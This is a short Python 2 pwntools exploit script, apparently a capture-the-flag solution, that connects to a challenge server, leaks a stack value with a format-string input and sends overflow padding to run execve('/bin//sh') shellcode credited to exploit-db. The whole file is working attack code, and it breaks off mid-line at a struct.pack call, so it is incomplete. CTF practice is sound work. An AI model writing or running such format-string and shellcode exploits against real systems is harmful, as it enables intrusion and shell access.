#!/usr/bin/python2 from pwn import * import struct import sys import time ADDR_START = 0x400590 # https://www.exploit-db.com/shellcodes/47008 sc = "\x48\x83\xEC\x40" # sub rsp, 64 sc += "\x48\x31\xf6\x56\x48\xbf" sc += "\x2f\x62\x69\x6e\x2f" sc += "\x2f\x73\x68\x57\x54" sc += "\x5f\xb0\x3b\x99\x0f\x05" r = remote("nothing.chal.ctf.westerns.tokyo", 10001) r.recvuntil(":)\n") r.send("%41$016lx" + "A"*(264-9) + struct.pack("